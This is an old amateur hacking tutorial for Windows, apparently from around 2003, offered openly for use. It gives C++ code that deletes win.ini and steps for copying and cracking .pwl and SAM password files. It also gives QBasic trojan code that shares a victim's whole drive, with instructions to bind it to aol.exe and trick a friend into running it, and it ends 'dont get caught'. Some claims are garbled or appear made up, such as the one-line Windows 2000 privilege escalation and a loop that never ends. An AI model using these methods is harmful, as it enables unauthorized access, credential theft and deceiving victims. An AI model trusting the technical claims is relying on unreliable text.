555 lines
17 KiB
Plaintext
555 lines
17 KiB
Plaintext
Hacking Windows
|
|
for
|
|
The Complete Newbie
|
|
|
|
Part 1
|
|
|
|
|
|
By: SLIPStream (formerly known as Morbos or Dynamite)
|
|
Contact information located at the end of the file.
|
|
|
|
(Please note: Newbie is not meant to be used
|
|
as a put down. All great hackers were once
|
|
newbies so please dont get POed) :)
|
|
|
|
|
|
WARNING: This file contains some elements which
|
|
are considered illigal in most countries including
|
|
the united states. The author assumes no responsiblity
|
|
for the actions of the reader after reading this file.
|
|
The reader hereby understands that the file is for
|
|
educational purposes ONLY. The author does not encourage
|
|
illigal activity and cannot be held responsible for the
|
|
readers actions. If you agree to this, procede in reading
|
|
the file, otherwise, please exit now.
|
|
|
|
|
|
Lesson 1: The Windows FileSystem
|
|
|
|
Ok. Unless you know virtualy nothing about hacking,
|
|
skip this lesson, it is only meant to be used for
|
|
the very beginners k? Thanks alot.
|
|
|
|
Heres the layout of the windows filesystem:
|
|
|
|
|
|
C:\ <--- Can be replaced with any other drive letter eg: e, f, a, b
|
|
|_ > C:\windows
|
|
> \_> System Files
|
|
> \_> Other files used by windows
|
|
> \_> Dont delete anything in here.
|
|
> C:\Program Files
|
|
> \_> Used by programs
|
|
> \_> Dont alter these unless you want to
|
|
> > Uninstall them
|
|
> \_> .dll files stored here for programs
|
|
> C:\DOS
|
|
> \_> This directory only exists on REAALLY old
|
|
> \_> Windows systems ie: win95 in its early editions
|
|
> \_> or win 3.1 (i hope nobody still has that.)
|
|
|
|
|
|
Easy enough eh? Open up My Computer and click on C:\ or whatever your
|
|
main drive is. Explore it, and when your ready, move on to the next
|
|
lesson.
|
|
|
|
|
|
Lesson 2: Exploiting Windows
|
|
|
|
Windows is so cruddy, even someone new to computers could mess
|
|
with it! Lets start. Ok, first you need to know some file extentions:
|
|
|
|
.exe an executable file
|
|
.bat a batch file (full of dos commands)
|
|
.html an html file used for webpages
|
|
.htm ' ditto '
|
|
.dll a dynamic link library file. used for
|
|
program instructions
|
|
.obj object file, used for compiling
|
|
(dont worry about it right now)
|
|
.jpg an image file
|
|
.bmp ' ditto '
|
|
.gif ' ditto ' or an animated image file
|
|
.mp3 sound file
|
|
.wav older sound file
|
|
.mpg video file
|
|
.swf a flash video file (neat)
|
|
|
|
You can find lots more. If your not getting all this, you probably
|
|
want to get windows for dummies. Its available at barns and nobles
|
|
pretty cheap in the computer section.
|
|
|
|
|
|
Ok. Procede ONLY if you understand all this otherwise you'll screw
|
|
your computer over.
|
|
|
|
|
|
First of all download a c/c++ compiler. If you dont know what that is
|
|
then dont procede.
|
|
|
|
Once you know how to compile stuff and write some simple programs,
|
|
go to the next subsection (A).
|
|
|
|
A: Your first exploitation.
|
|
|
|
Ok, put this into your c++ compiler.
|
|
|
|
/* This program will completely kill windows
|
|
so DO NOT run it */
|
|
|
|
#include <iostream>
|
|
#include <dos.h>
|
|
#include <stdlib.h>
|
|
#include <conio.h>
|
|
|
|
using namespace std;
|
|
|
|
void pause();
|
|
void destroy();
|
|
|
|
int main()
|
|
{
|
|
cout << "This will destroy your computer.\n";
|
|
cout << "Are you sure you want to continue???\n";
|
|
cout << "If not, click X now.\n";
|
|
pause();
|
|
cout << "Are you really really sure??? \n";
|
|
pause();
|
|
|
|
destroy();
|
|
|
|
return 0;
|
|
}
|
|
|
|
void pause()
|
|
{
|
|
system("pause");
|
|
}
|
|
|
|
void destroy()
|
|
{
|
|
system("if exist c:\win.ini del c:\win.ini else echo .");
|
|
system("if exist c:\windows.ini del c:\windows.ini else echo .");
|
|
}
|
|
|
|
|
|
Compile it and build/link it. DO NOT RUN IT!!!
|
|
If you run this and press enter twice it will kill your computer.
|
|
|
|
|
|
What does this do???
|
|
First of all:
|
|
|
|
/* This program will completely kill windows
|
|
so DO NOT run it */
|
|
|
|
Is nothing but a statement. The compiler disregards it.
|
|
|
|
Then:
|
|
#include <iostream>
|
|
#include <dos.h>
|
|
#include <stdlib.h>
|
|
#include <conio.h>
|
|
|
|
These statements are calling header files. Header files
|
|
contain the information used to call c/c++ commands.
|
|
|
|
void pause();
|
|
void destroy();
|
|
|
|
To use a function other than main, you must declare it so that
|
|
the system can allocate memory for it.
|
|
|
|
int main()
|
|
{
|
|
cout << "This will destroy your computer.\n";
|
|
cout << "Are you sure you want to continue???\n";
|
|
cout << "If not, click X now.\n";
|
|
pause();
|
|
cout << "Are you really really sure??? \n";
|
|
pause();
|
|
|
|
destroy();
|
|
|
|
return 0;
|
|
}
|
|
|
|
This is the main program where we call the other functions.
|
|
|
|
void pause()
|
|
{
|
|
system("pause");
|
|
}
|
|
|
|
This is the pause function. Here we used the dos command pause which
|
|
is called from the main program.
|
|
|
|
void destroy()
|
|
{
|
|
system("if exist c:\win.ini del c:\win.ini else echo .");
|
|
system("if exist c:\windows.ini del c:\windows.ini else echo .");
|
|
}
|
|
|
|
This is the main part of the program where it deletes the win.ini file on XP/NT/2000
|
|
or windows.ini on win3x or win9x (3.1 is 3x, and win95/98/2000 are 9x).
|
|
|
|
I strongly do not advise running this program. If you cannot see why
|
|
then you need to learn more about c++.
|
|
|
|
If all this was too complecated for you you could write it in QBasic, which
|
|
requires downloading another compiler (this one is small so you can download
|
|
it on 56k dialup).
|
|
|
|
|
|
|
|
B: Breaking into the library exploit
|
|
|
|
I call this the breaking into the library exploit because it lets you break into
|
|
anyones account on a windows machine but only allows read access.
|
|
|
|
(quick lesson on access:
|
|
|
|
read: users can only read from the file, but cannot write to
|
|
write: users can write to the file
|
|
no access: users cannot read or write to the file. )
|
|
|
|
|
|
Ok. Open up the DOS prompt. (You need to know some dos commands to use this
|
|
exploit).
|
|
|
|
When the prompt comes up type this:
|
|
|
|
c:\windows> cd c:\windows\profiles
|
|
|
|
Do not type the c:\windows> part, this only represents the command prompt.
|
|
|
|
Now type:
|
|
|
|
c:\windows\profiles> dir
|
|
|
|
(Notice \profiles has now been added to c:\windows)
|
|
|
|
Something like this should come up:
|
|
|
|
12/18/2003 05:52 AM <DIR> .
|
|
12/18/2003 05:52 AM <DIR> ..
|
|
12/17/2003 07:04 PM <DIR> administrator
|
|
11/17/2003 09:16 PM <DIR> All Users
|
|
12/04/2003 03:59 PM <DIR> funnyguy
|
|
12/20/2003 06:33 AM <DIR> anotheruser
|
|
12/27/2003 10:44 PM <DIR> someuser
|
|
0 File(s) 0 bytes
|
|
7 Dir(s) 3,671,572,480 bytes free
|
|
|
|
Well, this gives you an idea on who is on the computer.
|
|
Now type:
|
|
|
|
c:\windows\profiles> cd funnyguy
|
|
|
|
c:\windows\profiles\funnyguy> dir |more
|
|
|
|
Something like this will come up:
|
|
|
|
Volume in drive C has no label.
|
|
Volume Serial Number is ECB8-7534
|
|
|
|
Directory of E:\Documents and Settings\funnyguy
|
|
|
|
12/27/2003 10:44 PM <DIR> .
|
|
12/27/2003 10:44 PM <DIR> ..
|
|
11/18/2003 05:58 PM <DIR> .java
|
|
11/22/2003 12:30 AM <DIR> .jpi_cache
|
|
11/19/2003 08:57 PM <DIR> .limewire
|
|
12/26/2003 12:25 AM 697 .plugin141_05.trace
|
|
12/24/2003 01:53 PM 4,754 ac3dprefs.txt
|
|
12/18/2003 01:30 PM 0 annoy.cpp
|
|
12/17/2003 04:52 PM 42,967 arena.cpp
|
|
12/17/2003 04:52 PM 3,389 arena.dsp
|
|
12/17/2003 04:52 PM 535 arena.dsw
|
|
12/17/2003 04:52 PM 34,026 arena.h
|
|
12/17/2003 04:52 PM 33,792 arena.ncb
|
|
12/17/2003 04:52 PM 48,640 arena.opt
|
|
12/17/2003 04:52 PM 1,278 arena.plg
|
|
12/16/2003 06:23 PM <DIR> attacker
|
|
12/27/2003 07:19 PM <DIR> AWSGuitarTuner_Windows
|
|
12/16/2003 06:15 PM <DIR> battlepong
|
|
12/17/2003 04:30 PM <DIR> cheat260
|
|
12/17/2003 04:22 PM <DIR> crypt3
|
|
12/23/2003 09:07 PM <DIR> dc_40_stand_eng
|
|
12/25/2003 10:28 AM <DIR> Debug
|
|
12/28/2003 12:26 AM <DIR> Desktop
|
|
12/15/2003 06:31 PM <DIR> Favorites
|
|
12/16/2003 06:15 PM <DIR> fedup
|
|
12/16/2003 04:49 PM <DIR> grok
|
|
12/16/2003 07:03 PM <DIR> hacker1_1
|
|
12/27/2003 09:27 PM <DIR> Ktulu40
|
|
12/17/2003 05:07 PM <DIR> midiedit
|
|
12/17/2003 04:40 PM <DIR> musiced
|
|
12/28/2003 12:27 PM <DIR> My Documents
|
|
|
|
Hmm? Whats all this??? His/Her personal files???!!!
|
|
Do a little browsing.
|
|
|
|
WINDOWS XP USERS READ THIS:
|
|
|
|
Windows XP/NT has better security than 9x from
|
|
the dos console, but this same exploit can be applied by
|
|
doing it from explorer. Open up Internet Explorer (or whatever
|
|
web browser you use), and in the adress bar type:
|
|
|
|
c:\documents and settings
|
|
|
|
Then press enter.
|
|
Ah. There we are!
|
|
The same thing, but graphical!
|
|
|
|
|
|
Lesson 3: Starting to get a little more technical.
|
|
|
|
|
|
Ok, you know how to break into windows the easy way. But you dont have write
|
|
access. Or maybe you want to break into some school computers but these
|
|
exploits wont work.
|
|
|
|
Lets get started!
|
|
|
|
There are two vital file types to logging in on windows:
|
|
.pwl
|
|
and
|
|
SAM
|
|
|
|
The .pwl files contain much weaker encryption than the SAM file,
|
|
so it will be easier to obtain them and crack them than the SAM file.
|
|
|
|
|
|
Ok, heres how you do it. If the computer/s you want to hack have
|
|
windows 3x or 9x on them, you can use this exploit:
|
|
|
|
Step 1: Insert a blank floppy into the drive.
|
|
|
|
Step 2: Start -> Run -> command -> press enter.
|
|
|
|
Step 3: c:\windows> copy c:\windows\*.pwl a:\
|
|
|
|
Step 4: Crack them with Cain and Abel password cracker
|
|
and you've just broken into some accounts.
|
|
|
|
|
|
Wait! How did you do that?
|
|
|
|
Ok, heres the overview of the exploit.
|
|
|
|
All the users password files are contained in
|
|
their own little .pwl file (ie: john.pwl, sally.pwl,
|
|
funnyguy.pwl).
|
|
But you cant just go and read these files. They're
|
|
encrypted so they cant be read. However, there are
|
|
programs out there that can break these filetypes.
|
|
Go to http://www.google.com and type
|
|
'cain and able password cracker'
|
|
The website should be one of the first ones on the
|
|
list. When you get to their website, download the
|
|
Cain and Abel password cracker and get to work.
|
|
It usualy takes 1 - 2 hours to crack the password
|
|
files depending on how big the password is.
|
|
First the cracker tries all these words out of its
|
|
dictionary to try and find single word passwords.
|
|
If none of the words in its dictionary are passwords
|
|
(there are thousands of words in there), then it
|
|
brute forces the password file (tries a, then b, etc.)
|
|
|
|
Thats how you break into an account on 9x. Heres how you do
|
|
it on xp/NT.
|
|
|
|
What is the SAM file?
|
|
|
|
The Sam file is the file containing the encrypted
|
|
passwords of all the users on the system. Unlike win 9x where
|
|
all users have seperate .pwl files, the SAM file contains all
|
|
the users pwl. Basicly, if you have access to the sam file,
|
|
you win.
|
|
|
|
The sam file is actualy hidden (Much better security then 9x),
|
|
but when settings are changed on the computer, the sam file is
|
|
updated and moved to a new directory accessable to any user.
|
|
The folder is E:\WINDOWS\system32\config
|
|
|
|
If the SAM file isn't there and you have access to the machine
|
|
at the console then you can run a search for the SAM file.
|
|
Open the Start Menu, click Search, then click on All Files,
|
|
and type the Query as 'SAM'. It will run you through some boring
|
|
sample files that windows provides, then somewhere in the middle
|
|
it will have a file simply named 'sam', no file extention.
|
|
Right click on it and click 'Open Containing Folder'. You should
|
|
see the sam file in there along with lots of other configuration
|
|
files.
|
|
|
|
Put your floppy in there, right click on 'sam' and click Send to->
|
|
Floppy (A:\). In a few seconds you should have your encrypted password
|
|
file. BUT! You cannot use Cain and Abel to crack this one. Instead, a
|
|
new program is required.
|
|
The Program is called L0phtCrack. Download the trial version from
|
|
http://www.atstake.com and crack that sam file. This will generaly
|
|
take longer than the .pwl files since all the users passwords are
|
|
combined into one file.
|
|
|
|
Windows 2000 Vulnerability:
|
|
If you have access to a machine running windows 2000 and have
|
|
limited access to it, there is a simple command you can use to make
|
|
it give you Super-User privilages on the command prompt. Type:
|
|
|
|
C:\ netddemsg -s Chat$ cmd.exe
|
|
|
|
You should now have super user privilages on a 2000 machine!
|
|
|
|
|
|
Lesson 4: Viruses, Trojans, and Worms (oh my! :) )
|
|
|
|
This section contains code that can damage or destroy your computer.
|
|
Please do not use any of the information contained in this section.
|
|
It is only for educational purposes.
|
|
|
|
|
|
Ok, pretend you dont want any privilages on a persons machine, but you
|
|
just want to screw it up or play a prank on them.
|
|
|
|
How do you do this? Pretend the person has AOL (The crappiest isp
|
|
out there) and they have windows xp. Lets write some code in QBasic.
|
|
|
|
(Note: No matter what people say, QBasic is the coolest programing language
|
|
(besides java and c++) out there).
|
|
|
|
Heres the code for file 1:
|
|
|
|
rem '#############Start Copying##############
|
|
|
|
print "Please wait while AOL is updated... "
|
|
shell "cd\windows"
|
|
|
|
open "win.ini" for output as #1
|
|
|
|
let loop# = 0
|
|
|
|
dim line1 as string
|
|
dim line1 as string
|
|
dim line3 as string
|
|
line1 = "[WAOL]"
|
|
line2 = "AppPath=E:\Program Files\America Online 9.0"
|
|
line3 = "SharedPath=E:\"
|
|
dim blank as string
|
|
blank = " "
|
|
|
|
print #1, line1
|
|
print #1, line2
|
|
print #1, line3
|
|
|
|
while loop# < 200
|
|
print #1, blank
|
|
wend
|
|
|
|
rem '#############Stop Copying###############'
|
|
|
|
Save the file as update.bas then compile it under qbasic.
|
|
Ok, now you need a copy of the america online main file, just use the
|
|
aol exe file (C:\program files\America Online 9.0\aol.exe). Install
|
|
aol 9.0 optimized using one of those crappy aol disks you have then
|
|
copy aol.exe to your desktop.
|
|
Copy update.exe (the compiled version of update.bas) to your desktop.
|
|
Now download a file binder. You can get one from http://www.hackers.com
|
|
in their file archive, or you can get one from http://www.astalavista.com
|
|
Either one has some good file binders. You can also do a google search
|
|
for one.
|
|
Once you have your file binder, have it bind aol.exe and update.exe together,
|
|
where as update.exe runs in the background and is not shown on the task bar.
|
|
Name the binded file game.exe or fun.exe, maybe even screensaver.exe. Be
|
|
creative.
|
|
|
|
Now comes the fun part!
|
|
|
|
Talk to your friend on aim and get him/her to let you send him/her the file.
|
|
Tell them that it is some game or screen save that they like and want. Be
|
|
persuasive and convincing. When they agree you can open a direct link from
|
|
your computer to theirs from aim. This will alow you to send the file.
|
|
|
|
Before you send it open up your command prompt and WITHOUT PRESSING ENTER type
|
|
|
|
c:\windows> netstat -r
|
|
|
|
Go back to aim, and be prepared to jump to the command prompt. Send the file
|
|
to your friend and quickly click on the command prompt to maximize it and press
|
|
enter!!! If you have a fast connection, it will have gotten the IP adress of your
|
|
friend. This IP adress is what will be used to break in.
|
|
|
|
What was all this for???
|
|
|
|
An IP address (Internet Protocol Address) is how your computer is
|
|
identified on the internet. It should look something like this:
|
|
|
|
65.45.12.54
|
|
|
|
By obtaining the ip adress of your friend, you have found where his computer
|
|
is located on the internet. The program you wrote shares your friends entire
|
|
hard drive allowing you to do anything you want with it, upload, download,
|
|
see if your friend has been looking at naughty things on the internet and
|
|
whatnot.
|
|
|
|
The peice of code that made all this possible was:
|
|
|
|
SharedPath=E:\
|
|
|
|
Normaly, AOL shares its folder E:\Program Files\Common Files\AOLSHARE
|
|
Which is the AOL shared folder (doi :) ). Its not much help to only have
|
|
that folder shared, but now you have the entire hard disk shared. If you
|
|
want to, you could do whatever you want to his hard drive.
|
|
|
|
How do I find stuff they've been doing?
|
|
|
|
Well, there are several folders containing the history and past
|
|
of the computer. First of all comes history. This is located in
|
|
C:\Documents and Settings\username\Recent
|
|
If you dont know what username your friend is under go to
|
|
c:\documents and settings and find out.
|
|
You cant just look at the cookies (accept for under 9x).
|
|
You need to open up their internet explorer:
|
|
E:\Program Files\Internet Explorer\IExplore.exe and click
|
|
on cookies. Im not gonna cover all this right now.
|
|
|
|
|
|
|
|
I Hope this file was alot of help and enough to get
|
|
you started! Have fun, and dont get caught!
|
|
|
|
|
|
|
|
Contact information:
|
|
|
|
E-Mail:
|
|
|
|
blackfire@dangerous-minds.com <- please use this one
|
|
blackfire@phayze.com
|
|
morbos@white-star.com
|
|
|
|
For Other information:
|
|
|
|
slipstream_node@yahoo.com
|
|
|
|
Website:
|
|
|
|
dataflux.cjb.net
|
|
|
|
My Email Service:
|
|
|
|
Please request an account. I dont want to overload
|
|
my disk quota. Please contact me to request an
|
|
account. Unauthorized accounts will be deleted.
|
|
|
|
http://wwww.mysticism.zzn.net (username@mysticism.zzn.net)
|
|
|
|
Yahoo IM:
|
|
|
|
SLIPStream_node
|
|
|
|
|
|
|
|
|